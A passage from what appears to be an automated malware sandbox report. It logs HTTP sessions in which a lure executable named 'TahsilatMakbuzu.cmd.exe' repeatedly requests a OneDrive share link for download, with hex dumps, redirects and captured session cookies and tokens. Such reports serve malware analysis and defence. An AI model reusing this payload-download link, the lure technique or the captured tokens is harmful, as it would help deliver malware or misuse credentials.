44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 Data Ascii: AA8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49723	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:06 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:16:06 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: SA2PPF87B94886A Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: vLURv/n98k61oO88dvYaew.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 99E23759353749C695C67EEA59A76746 Ref B: EWR30EDGE0720 Ref C: 2024-07-04T18:16:06Z Date: Thu, 04 Jul 2024 18:16:05 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49724	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:07 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:16:07 UTC	2216	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:RXKyX1Wc3Ig=:Af1j99uh2sEAarhHibhNxKzbBNdTtHiz47VSn8LHHB0=:F; domain=.live.com; path=/ Set-Cookie: xid=d6d2751f-a76e-484e-9cf7-875231f10271&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:36:07 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzY3LCJuYmYiOjE3MjAxMTY5NjcsImdpdmVuX25hbWUiOiI1NyIsImZhbWlseV9uYW1lIjoiRWVsIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiMDFmOWMwYmNjNTMwMWMwOTMzOWIwNjMxNjViZjE1ZjciLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNjk2N30.ZXp2Add50K91dgfFm1wuVrrYiVfA3FQ8tGuhI_5CAgvDHT5DPnH0aTaLV1QHqx8mSO0m3G9uGek9yyWJFmnuu_7KpiXvTfo_7xYNCLByf8Eya6PjjOiXfcDh9UnB7wIAg-q8WDnCfZM2Qnu32zFb2FH_mbFkMJoGvMc2M85xoeSkLnbbwsxyF9nArw2-Y0bqRWV37B3_FeFLvuYisqOf9Izr8mADGhiAEfZ3LQnoS2SPszpUGU6aO5k4saUbibIRH0Q6FdxaCrLx2msiKFTEa2FkLgLF0_rfhZyIph5q8DzFewLwU0kAAoGgOpmhEAlrHOJtLLP2qNrVtOAWEnR2nw; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:16:07 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 656bc47b7b-9gfdm X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 558B4CF4C49D40D4AD2EAC6BBAB95DCD Ref B: BN3EDGE0314 Ref C: 2024-07-04T18:16:07Z Date: Thu, 04 Jul 2024 18:16:07 GMT Connection: close
2024-07-04 18:16:07 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49726	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:08 UTC	1284	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzY3LCJuYmYiOjE3MjAxMTY5NjcsImdpdmVuX25hbWUiOiI1NyIsImZhbWlseV9uYW1lIjoiRWVsIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiMDFmOWMwYmNjNTMwMWMwOTMzOWIwNjMxNjViZjE1ZjciLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNjk2N30.ZXp2Add50K91dgfFm1wuVrrYiVfA3FQ8tGuhI_5CAgvDHT5DPnH0aTaLV1QHqx8mSO0m3G9uGek9yyWJFmnuu_7KpiXvTfo_7xYNCLByf8Eya6PjjOiXfcDh9UnB7wIAg-q8WDnCfZM2Qnu32zFb2FH_mbFkMJoGvMc2M85xoeSkLnbbwsxyF9nArw2-Y0bqRWV37B3_FeFLvuYisqOf9Izr8mADGhiAEfZ3LQnoS2SPszpUGU6aO5k4saUbibIRH0Q6FdxaCrLx2msiKFTEa2FkLgLF0_rfhZyIph5q8DzFewLwU0kAAoGgOpmhEAlrHOJtLLP2qNrVtOAWEnR2nw; E=P:RXKyX1Wc3Ig=:Af1j99uh2sEAarhHibhNxKzbBNdTtHiz47VSn8LHHB0=:F; xid=d6d2751f-a76e-484e-9cf7-875231f10271& [TRUNCATED]
2024-07-04 18:16:08 UTC	1924	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,27175,0,87893,50 X-SharePointHealthScore: 3 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 2d1239a1-9043-5000-f5eb-1b01b7b95acc request-id: 2d1239a1-9043-5000-f5eb-1b01b7b95acc MS-CV: oTkSLUOQAFD16xsBt7lazA.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 23 SPIisLatency: 1 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25012 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 76CD7E40967C4E4BA1E0087821C44111 Ref B: BN3EDGE0707 Ref C: 2024-07-04T18:16:08Z Date: Thu, 04 Jul 2024 18:16:07 GMT Connection: close
2024-07-04 18:16:08 UTC	3819	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:16:08 UTC	8192	IN	Data Raw: 39 43 35 2d 44 30 46 45 35 42 39 36 32 33 35 33 22 3a 74 72 75 65 2c 22 44 39 43 35 30 34 39 31 2d 44 31 34 34 2d 34 34 31 43 2d 42 46 37 34 2d 37 35 41 44 39 42 34 37 39 43 30 41 22 3a 74 72 75 65 2c 22 39 32 38 33 31 46 39 41 2d 34 41 44 37 2d 34 35 34 46 2d 39 31 39 43 2d 36 41 39 37 42 46 34 44 31 30 30 41 22 3a 74 72 75 65 2c 22 42 42 37 36 44 33 37 44 2d 30 35 41 45 2d 34 37 31 35 2d 38 31 32 35 2d 35 39 39 34 43 32 41 41 41 45 35 39 22 3a 74 72 75 65 2c 22 46 36 44 38 38 46 30 39 2d 36 34 38 44 2d 34 43 33 38 2d 42 33 44 38 2d 36 37 36 46 36 34 32 36 36 46 36 33 22 3a 74 72 75 65 2c 22 32 32 31 37 45 30 31 39 2d 33 43 32 43 2d 34 31 45 36 2d 41 37 34 30 2d 38 31 36 35 35 42 44 33 31 45 46 44 22 3a 74 72 75 65 2c 22 38 39 36 34 31 38 34 31 2d 45 33 Data Ascii: 9C5-D0FE5B962353":true,"D9C50491-D144-441C-BF74-75AD9B479C0A":true,"92831F9A-4AD7-454F-919C-6A97BF4D100A":true,"BB76D37D-05AE-4715-8125-5994C2AAAE59":true,"F6D88F09-648D-4C38-B3D8-676F64266F63":true,"2217E019-3C2C-41E6-A740-81655BD31EFD":true,"89641841-E3
2024-07-04 18:16:08 UTC	2567	IN	Data Raw: 34 42 33 33 34 36 43 33 22 3a 74 72 75 65 2c 22 37 39 31 31 34 31 31 45 2d 43 39 32 46 2d 34 43 44 30 2d 41 41 32 36 2d 43 33 37 39 44 34 46 39 34 43 42 45 22 3a 74 72 75 65 2c 22 32 37 33 38 35 35 35 38 2d 33 31 45 43 2d 34 38 30 41 2d 39 43 33 39 2d 46 45 45 46 41 34 38 44 46 39 31 46 22 3a 74 72 75 65 2c 22 34 37 35 30 33 41 39 38 2d 46 42 30 36 2d 34 34 30 41 2d 42 39 32 31 2d 31 34 35 37 41 32 32 42 31 37 46 39 22 3a 74 72 75 65 2c 22 41 37 36 44 30 34 42 41 2d 35 46 35 44 2d 34 31 32 35 2d 39 30 36 43 2d 34 44 46 37 41 45 35 37 30 38 30 35 22 3a 74 72 75 65 2c 22 32 44 43 44 31 33 30 32 2d 43 30 44 37 2d 34 43 30 35 2d 38 41 35 36 2d 30 32 37 30 45 36 43 37 32 38 34 45 22 3a 74 72 75 65 2c 22 36 45 38 38 34 31 43 34 2d 44 32 32 31 2d 34 36 30 35 2d Data Ascii: 4B3346C3":true,"7911411E-C92F-4CD0-AA26-C379D4F94CBE":true,"27385558-31EC-480A-9C39-FEEFA48DF91F":true,"47503A98-FB06-440A-B921-1457A22B17F9":true,"A76D04BA-5F5D-4125-906C-4DF7AE570805":true,"2DCD1302-C0D7-4C05-8A56-0270E6C7284E":true,"6E8841C4-D221-4605-
2024-07-04 18:16:08 UTC	8192	IN	Data Raw: 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 Data Ascii: "308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD2678
2024-07-04 18:16:08 UTC	8192	IN	Data Raw: 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 Data Ascii: D-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true
2024-07-04 18:16:08 UTC	8192	IN	Data Raw: 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 Data Ascii: F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF443
2024-07-04 18:16:08 UTC	8192	IN	Data Raw: 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 2d Data Ascii: -E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E-
2024-07-04 18:16:08 UTC	8192	IN	Data Raw: 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 34 Data Ascii: 955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-854
2024-07-04 18:16:08 UTC	8192	IN	Data Raw: 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 Data Ascii: rue,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76
2024-07-04 18:16:08 UTC	8192	IN	Data Raw: 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a Data Ascii: 8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49727	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:09 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:16:09 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: SA2PPFF6CAC36B9 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: wwFHzh30fEuuOstp7Gn9+A.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 08E1DABC8ABE407792EF5AF292C5B9F7 Ref B: EWR30EDGE0111 Ref C: 2024-07-04T18:16:09Z Date: Thu, 04 Jul 2024 18:16:09 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49728	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:10 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:16:10 UTC	2217	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:veKYYVWc3Ig=:RX0j3Z75Pf1W2jSYhJ0jj+Y8gl2DU6+1pJlhqaBJyCM=:F; domain=.live.com; path=/ Set-Cookie: xid=a7818203-278a-471e-a9e4-40005a731083&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:36:10 GMT; 